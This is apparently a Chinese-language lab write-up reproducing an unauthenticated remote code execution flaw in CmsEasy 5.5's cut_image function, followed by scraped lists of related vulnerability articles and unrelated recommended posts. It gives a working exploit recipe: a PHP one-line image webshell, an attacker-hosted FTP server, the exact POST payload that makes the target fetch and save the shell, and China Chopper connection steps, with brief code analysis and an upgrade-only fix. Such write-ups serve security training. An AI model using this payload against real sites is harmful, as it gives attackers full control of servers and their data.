CmsEasy 5.5 cut_image 代码执行漏洞
3 CmsEasy 5.5 cut_image 代码执行漏洞
3.1 摘要
3.1.1 漏洞介绍
- CmsEasy是一款基于PHP+MySQL架构的网站内容管理系统,可面向大中型站点提供重量级网站建设解决方案:拥有强大的内容发布模板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。可自定义网页标题、关键词、描述、URL路径等多种优化项,可自动推送内容至百度搜索引擎。全国首家内置推广联盟模块的企业网站系统,为企业在营销推广方面,提供了非常便捷的方法和功能。为广大用户提供更为安全、稳定、强大的微信公众好管理系统。拥有强大的内容发布木板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。
- CmsEasy5.5版本’cut_image_action’函数存在代码执行漏洞,远程攻击者可在未登录的情况下向服务器上传任意文件,执行任意代码,获取服务器权限。
3.1.2 漏洞环境
- 操作机:Windows XP
- 目标机:CentOS 6.5
3.1.3 实验工具
- CmsEasy5.5
- FTPserver.exe:一个小型的Ftp server软件
- 中国菜刀:一款专业的网站管理软件,只要支持动态脚本的网站,都可以用中国菜刀来进行管理。主要功能有:文件管理,虚拟终端,数据库管理。
3.2 漏洞复现
- 将构造好的图片木马复制c:\ftp目录下,用Notepad打开,查看图片内容,可以看到标识处,含有一句话代码菜刀连接密码为c。
- 将该图片文件名修改为
phpinfo.php
,接下来利用该图片木马进行漏洞利用。 - 打开实验工具下载的FTP Server工具,请将该实验工具访问目录修改为c:\ftp,点击启动服务即可。
- 使用火狐浏览器打开目标界面http://www.test.ichunqiu 按F9调出hackbar工具,我们构造漏洞利用代码,访问URL为
http://www.test.ichunqiu/index.php?case=tool&act=cut_image
点击Enable Post data打开POST窗口,注入以下测试内容,pic=1ftp://172.16.11.2/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120
- 点击Execute提交,即可返回上传文件地址。
- 将上图返回的地址,复制到地址栏,(将/路径替换为/)访问。可以看到该文件访问成功,下面尝试使用中国菜刀连接该一句话木马。复制该地址。
- 运行中国菜刀
chopper.exe
程序。 在程序窗口内,右键将地址粘贴,地址后面密码填写为c
脚本类型选择为PHP,点击添加即可。
- 点击添加后可以看到该目录,增加一条记录,我们双击该条目,即可进入webshell目录管理界面
- 该漏洞利用成功
3.3 漏洞分析
该漏洞是因为CmsEasy5.5/lib/default/tool_act.php 392行的cut_image_action()函数出现问题。代码如下图所示
分析以上代码,可以发现保存文件名的生成,直接用了$_POST['pic'] 接受未经过任何安全防护的输入作为扩展名,应该就是这里导致Getshell。
这里需要可以绕过PHP图像处理的一句话木马,和本地搭建Ftp服务以绕过
file_exits()
函数, PHP5.0以上即可支持file_exists()
。代码如下所示,如果$_POST['pic']
开头4个字符不是http
的话,就认为是本站的文件,会从前面抽取base_url
,返回文件相对路径。所以构造的时候,如果站点不是放在根目录,则需要补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)
构造的测试代码为:
post /index.php?case=tool&act=cut_image
pic=1ftp://localhost/test.php&w=700&h=1120$x1=0&x2=700%y1=0y2=1120
其中localhost=172.16.11.2,test.php=phpinfo.php
3.4 修复方案
- 更新到官方最新版本:http://www.cmseasy.cn/
CmsEasy 5.5 cut_image 代码执行漏洞的更多相关文章
- 【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- struts2最新s2-016代码执行漏洞CVE-2013-2251
这是一个代码执行漏洞,利用java代码来执行系统命令. 影响版本:Struts 2.0.0 – Struts 2.3.15 漏洞说明: The Struts 2 DefaultActionMa ...
- Discuz! x3.1的插件/utility/convert/index.php代码执行漏洞
漏洞版本: Discuz! x3.1及以下版本 漏洞描述: Discuz! x3.1的插件/utility/convert/index.php存在代码执行漏洞,如果用户在使用完之后不删除,会导致网站容 ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- MongoDB ‘conn’Mongo 对象远程代码执行漏洞
漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...
- Struts2再爆远程代码执行漏洞
Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...
随机推荐
- 【紫书】Tree UVA - 548 静态建树dfs
题意:给你中序后序 求某叶子节点使得从根到该节点权值和最小.若存在多个,输出其权值最小的那个. 题解:先建树,然后暴力dfs/bfs所有路径,取min 技巧:递归传参数,l1,r1,l2,r2, su ...
- ORACLE 根据根节点查所有上层节点
1.基本数据 SELECT * FROM TABLE_MUEN T ID CODE NAME ...
- 青蛙的约会---poj1061(扩展欧几里德)
题目链接:http://poj.org/problem?id=1061 就是找到满足 (X+mt)-(Y+nt) = Lk 的 t 和 k 即可 上式可化简为 (n-m)t + Lk = X-Y;满足 ...
- Unity-反编译由IL生成的DLL文件
本文由博主SunboyL原创,转载请注明出处:http://www.cnblogs.com/xsln/p/DLL_DeCompilation.html 在Unity实际开发过程中,我们 ...
- iOS中textbox文本框清除圆角
在iOS.Mac safari中,所有的textbox, select, checkbox都会被强制美化为圆角.但在特殊情况下需要清除圆角时发现iOS中使用以下传统的css无效: border-rad ...
- mysql 内置功能 事务 介绍
事务用于将某些操作的多个SQL作为原子性操作,一旦有某一个出现错误,即可回滚到原来的状态,从而保证数据库数据完整性 创建数据库db12 create database db12 charset=utf ...
- Agreementhasbeenupdated--EditPhoneNumber
1.https://appleid.apple.com/#!&page=signin 登录appid账号 在账户里面的编辑 添加更多信息,新增手机号 2.如果不可以 可以试下这个https: ...
- Tensorflow(二)
1---------------- 试用tensorflow的模块,必须配套tensorflow的方法 import tensorflow as tf a=3 ##定义 行向量 w=tf.Variab ...
- Period(sdut2476)
[题目大意]:给定一个字符串,求到哪一位时的字串是前几位循环组成的,并求出循环次数. 思路:求每个前缀的最小循环周:从i到n枚举len,如果len%(len-next[len])==0,则这个前缀是由 ...
- javascript脚本实现浏览器自动点击(阿里员工秒杀月饼)
原文地址https://blog.csdn.net/ani521smile/article/details/52575063 秒杀活动页面 <!DOCTYPE HTML> <html ...